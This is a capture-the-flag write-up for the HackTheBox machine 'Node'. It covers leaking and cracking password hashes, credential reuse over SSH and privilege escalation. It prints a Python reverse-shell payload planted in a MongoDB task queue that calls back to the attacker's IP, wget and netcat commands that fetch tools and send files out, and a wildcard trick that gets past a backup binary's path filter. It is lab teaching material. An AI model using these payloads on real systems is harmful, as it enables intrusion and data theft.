HackTheBox Write-Up — Node
Node is a machine that exclaims the importance of a password-reuse policy in enterprise environments.
nmap -T4 -p- 10.10.10.58Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-14 12:10 EDT
Nmap scan report for 10.10.10.58
Host is up (0.012s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open pppNmap done: 1 IP address (1 host up) scanned in 89.07 seconds
Our initial scan shows us that port 22 and 3000 are open.
nmap -T4 -p22,3000 -A 10.10.10.58Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-14 12:11 EDT
Nmap scan report for 10.10.10.58
Host is up (0.010s latency).PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
| 256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_ 256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp open http Node.js Express framework
| hadoop-datanode-info:
|_ Logs: /login
| hadoop-tasktracker-info:
|_ Logs: /login
|_http-title: MyPlace
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.12 (92%), Linux 3.13 (92%), Linux 3.13 or 4.2 (92%), Linux 3.16 - 4.6 (92%), Linux 3.2 - 4.9 (92%), Linux 3.8 - 3.11 (92%), Linux 4.2 (92%), Linux 4.4 (92%), Linux 3.16 (90%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 9.29 ms 10.10.14.1
2 9.28 ms 10.10.10.58OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.18 seconds
The SSH version doesn’t pop anything useful, let’s enumerate port 3000 as it looks like it’s running a web server.
Viewing the source of this page we find this html code at the bottom.
After having a look at these scripts, the /home.js gives us the following code:
var controllers = angular.module('controllers');controllers.controller('HomeCtrl', function ($scope, $http) {
$http.get('/api/users/latest').then(function (res) {
$scope.users = res.data;
});
});
http://10.10.10.58/api/users/latest
[{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
We find some usernames and password hash combinations, non of these users have administrative rights.
Just as we found this page from the /home.js script, the /profile.js tips us off to a page as well.
var controllers = angular.module('controllers');controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
$http.get('/api/users/' + $routeParams.username)
.then(function (res) {
$scope.user = res.data;
}, function (res) {
$scope.hasError = true;if (res.status == 404) {
$scope.errorMessage = 'This user does not exist';
}
else {
$scope.errorMessage = 'An unexpected error occurred';
}
});
});
Jackpot! We find the hashed administrator credentials via http://10.10.10.58/api/users/
[{"_id":"59a7365b98aa325cc03ee51c","username":"myP14ceAdm1nAcc0uNT","password":"dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af","is_admin":true},{"_id":"59a7368398aa325cc03ee51d","username":"tom","password":"f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240","is_admin":false},{"_id":"59a7368e98aa325cc03ee51e","username":"mark","password":"de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73","is_admin":false},{"_id":"59aa9781cced6f1d1490fce9","username":"rastating","password":"5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0","is_admin":false}]
All hashes are found below:
dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240
de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73
5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0
By throwing them into https://crackstation.net we are able to crack most of them, including the administrator account.
myP14ceAdm1nAcc0uNT | manchester
Download the backup after logging in to http://10.10.10.58:3000 with the admin credentials.
Taking a look at the file in our working directory, it shows that the file might be encoded with Base64.
cat myplace.backup
Decode and append the result to a file named “decode” with the following syntax:
base64 --decode myplace.backup > decode
It appears to be a zip file!
file decode
I tried to unzip the file, but the file is password protected.
unzip decode
Crack the password using fcrackzip:
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt decode
magicword
After decompression, we find that we are left with a backup of /var/www/.
Within /var/www/myplace/app.js we find mongodb credentials.
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
This machine is vulnerable to a password reuse attack, we can use these credentials to ssh into Mark’s account.
ssh mark@10.10.10.58
mark:5AYRft73VtFpc84k
We do not have permission to view the user.txt with our current foothold.
locate user.txtcat /home/tom/user.txt
We’re going to need to escalate privileges. Let’s move LinEnum.sh to our working directory, and then download the script to the victim’s /tmp directory by hosting a simple HTTP server on our local machine.
cp /opt/LinEnum.sh .python3 -m http.server 80
On the victim machine change directory to /tmp and download the script.
cd /tmpwget 10.10.14.10/LinEnum.sh
Run the script after giving it executable permissions.
chmod +x LinEnum.sh./LinEnum.sh
Port 27017 shows that mongodb is listening locally, we weren’t able to see this port open from the outside.
Depicted above are the only processes being run by Tom.
/usr/bin/node is Node.js compiling the files /var/www/myplace/app.js and /var/scheduler/app.js. Since we are already familiar with /var/www/myplace/app.js, let’s have a look at /var/scheduler/app.js.
const url = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource=scheduler';
We find a script similar to the one we found before. What we’ve found is another database named scheduler.
Let’s connect to it using the above credentials.
mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
Here we add a document in MongoDB that sends a reverse shell back to our machine.
db.tasks.insert({cmd: "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.10\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"})
You can check to see if it was added correctly with:
db.tasks.find()
Setup a listener on your local machine.
nc -nlvp 1234
How to upgrade to a fully interactive shell:
python -c ‘import pty; pty.spawn(“/bin/bash”)’
Background the session
(CTRL+ Z)stty raw -echo
Type “fg”:
fg
Press enter a few times.
From here we can grab the user.txt flag.
locate user.txtcat /home/tom/user.txt
Running the Linux Enumeration Script again with our new user ID, we find a backup file.
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup
Within /var/www/myplace/app.js, we find the following:
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
app.get('/api/admin/backup', function (req, res) {
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
res.header("Content-Disposition", "attachment; filename=myplace.backup");
res.send(backup);
backup += chunk;
The file appears to be an executable, let’s try to run it.
./backup
This does not work, let’s use “strings.”
strings backup
Appears we have an encoded backup of possibly… the /root directory?!
Above within the /var/www/myplace/app.js script there was a backup key and a mentioning of our designated file.
cat /var/www/myplace/app.js | grep -i backup_key
const backup_key = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
The file takes in the following arguments: -q, backup_key, and __dirname.
Let’s try to run the file and pass -q, backup_key, and the /root/root.txt file.
backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt
We get back what looks like a Base64 encoded output. Let’s copy and pipe the output to a file
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" > /tmp/encoded
Now we are going to pass the encoded file to base64, and pipe the output to another file named “decoded”.
base64 --decode /tmp/encoded > /tmp/decoded
We have a zip file!
file /tmp/decoded
We are unable to unzip this file on the victim machine, we‘ll need to transfer this file to our local machine.
Local machine:
nc -nlvp 4444 > decoded
Victim machine:
nc 10.10.14.10 4444 < /tmp/decoded
This file is password protected, let’s use “magicword” from before.
magicword
Using ltrace we found that this program is filtering directory paths.
ltrace /usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root/root.txt
Let’s try to grab the root.txt file again, but change /root/root.txt to /r**t/r**t.txt by implementing a wildcard.
backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt
The output is noticeably different!
Let’s pipe this output to a file.
backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /r**t/r**t.txt > /tmp/encoded
We will decode this:
base64 --decode /tmp/encoded > /tmp/decoded
This is a zip file, let’s move it to our host machine again and unzip the file!
file /tmp/decoded
Local machine:
nc -nlvp 4444 > decoded
Victim machine:
nc 10.10.14.10 4444 < /tmp/decoded
Using the same password “magicword” — we have the root flag.